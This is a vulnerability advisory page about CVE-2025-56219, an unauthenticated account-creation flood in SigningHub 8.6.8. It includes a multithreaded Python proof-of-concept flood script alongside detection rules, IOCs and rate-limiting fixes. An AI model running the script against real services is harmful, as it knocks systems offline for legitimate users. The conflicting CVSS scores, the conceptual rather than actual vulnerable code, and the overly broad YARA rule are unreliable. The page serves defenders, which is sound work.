CVE-2025-56219
Executive Summary
CVE-2025-56219 is a critical vulnerability in SigningHub version 8.6.8 that allows an unauthenticated attacker to arbitrarily create user accounts without any rate limiting. This flaw leads to resource exhaustion and a Denial of Service (DoS) condition when an excessively large number of user accounts are created. The vulnerability stems from incorrect access control in the user account creation functionality. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary application vulnerability in SigningHub.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (NVD score not assigned, but based on analysis: 7.5 High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: None
- Availability Impact: High
- Threat Level: High – The vulnerability is easy to exploit remotely without authentication and can cause a complete denial of service.
Deep Dive & Mechanics
The vulnerability exists in the user account creation endpoint of SigningHub v8.6.8. The application fails to enforce any rate limiting or access control checks on the account creation API. An attacker can send a high volume of account creation requests, each creating a new user entry in the database. This leads to:
- Database Exhaustion: The database fills up with thousands or millions of dummy user records, consuming disk space and degrading query performance.
- Resource Exhaustion: The application server's memory, CPU, and connection pool are consumed by processing these requests, causing legitimate requests to time out or fail.
- Denial of Service: The application becomes unresponsive to legitimate users, effectively causing a DoS.
The attack does not require authentication, making it accessible to any attacker on the network. The lack of CAPTCHA, IP-based rate limiting, or account creation quotas makes this a trivial attack to execute.
Vulnerable vs. Patched Code
Since no patch is available, a hypothetical fix would involve:
Vulnerable Code (Conceptual):
@app.route('/api/create_user', methods=['POST'])
def create_user():
username = request.json.get('username')
password = request.json.get('password')
# No rate limiting or access control
db.execute("INSERT INTO users (username, password) VALUES (?, ?)", (username, password))
return jsonify({"status": "success"}), 201
Patched Code (Conceptual):
from flask_limiter import Limiter
limiter = Limiter(app, key_func=lambda: request.remote_addr)
@app.route('/api/create_user', methods=['POST'])
@limiter.limit("5 per minute")
def create_user():
username = request.json.get('username')
password = request.json.get('password')
# Additional access control check
if not session.get('authenticated') or not session.get('role') == 'admin':
return jsonify({"error": "Unauthorized"}), 403
db.execute("INSERT INTO users (username, password) VALUES (?, ?)", (username, password))
return jsonify({"status": "success"}), 201
Exploitation & Lab Setup
Red Team
Attack Scenario:
- Identify the SigningHub instance (e.g.,
https://target.com/signinghub). - Locate the user creation endpoint (e.g.,
/api/v1/usersor/signup). - Use a script to send a high volume of POST requests with random usernames and passwords.
Proof-of-Concept Script (Python):
import requests
import random
import string
import threading
target = "https://target.com/signinghub/api/v1/users"
def create_user():
username = ''.join(random.choices(string.ascii_lowercase, k=8))
password = ''.join(random.choices(string.ascii_letters + string.digits, k=12))
data = {"username": username, "password": password}
try:
r = requests.post(target, json=data, timeout=5)
print(f"Created user {username}: {r.status_code}")
except Exception as e:
print(f"Error: {e}")
# Launch 1000 threads
for i in range(1000):
t = threading.Thread(target=create_user)
t.start()
Expected Outcome: The server becomes unresponsive after a few hundred requests due to database and resource exhaustion.
Blue Team
Detection & Response:
- Monitor for a high volume of POST requests to user creation endpoints from a single IP or range.
- Set up alerts for unusual spikes in database write operations or user table growth.
- Implement rate limiting on the user creation endpoint immediately.
- Use Web Application Firewall (WAF) rules to block requests exceeding a threshold.
- Review logs for repeated 201 (Created) responses from the same source IP.
Indicators of Compromise (IOCs)
- Network IOCs:
- High volume of POST requests to
/api/v1/users,/signup, or similar endpoints. - Source IPs with a high request rate (e.g., >100 requests per minute).
- High volume of POST requests to
- System IOCs:
- Rapid growth in the
userstable in the database. - High CPU and memory usage on the application server.
- Application logs showing thousands of successful user creation events.
- Rapid growth in the
- File IOCs:
- Log files with repeated entries like
User created: randomuser123.
- Log files with repeated entries like
Detection Engineering
YARA Rule
rule CVE_2025_56219_SigningHub_AccountCreation {
meta:
description = "Detects SigningHub account creation abuse attempts"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-56219"
strings:
$s1 = "/api/v1/users" ascii wide nocase
$s2 = "/signup" ascii wide nocase
$s3 = "username" ascii wide nocase
$s4 = "password" ascii wide nocase
condition:
any of ($s1, $s2) and all of ($s3, $s4)
}
Sigma Rule
title: SigningHub Account Creation Flood
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects a high volume of user creation requests to SigningHub
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem:
- '/api/v1/users'
- '/signup'
condition: selection | count() by src_ip > 100 within 1m
falsepositives:
- Legitimate bulk user imports (rare)
level: high
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-56219 SigningHub Account Creation Flood"; flow:to_server; content:"POST"; http_method; content:"/api/v1/users"; http_uri; content:"username"; http_client_body; content:"password"; http_client_body; threshold: type both, track by_src, count 50, seconds 60; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Implement rate limiting on the user creation endpoint (e.g., 5 requests per minute per IP).
- Add CAPTCHA to the user creation form.
- Require authentication for user creation (admin-only).
- Monitor logs for abuse and block offending IPs.
Long-term Fix:
- Apply the vendor patch when available.
- Conduct a security audit of all API endpoints for similar access control issues.
- Implement a Web Application Firewall (WAF) with rate limiting rules.
Workaround:
- Disable the self-registration feature if not required.
- Use a reverse proxy (e.g., Nginx) to limit request rates:
limit_req_zone $binary_remote_addr zone=signup:10m rate=5r/m; server { location /api/v1/users { limit_req zone=signup burst=10 nodelay; proxy_pass http://backend; } }
Valters IT
DevSecOps & Cyber Threat Intelligence Expert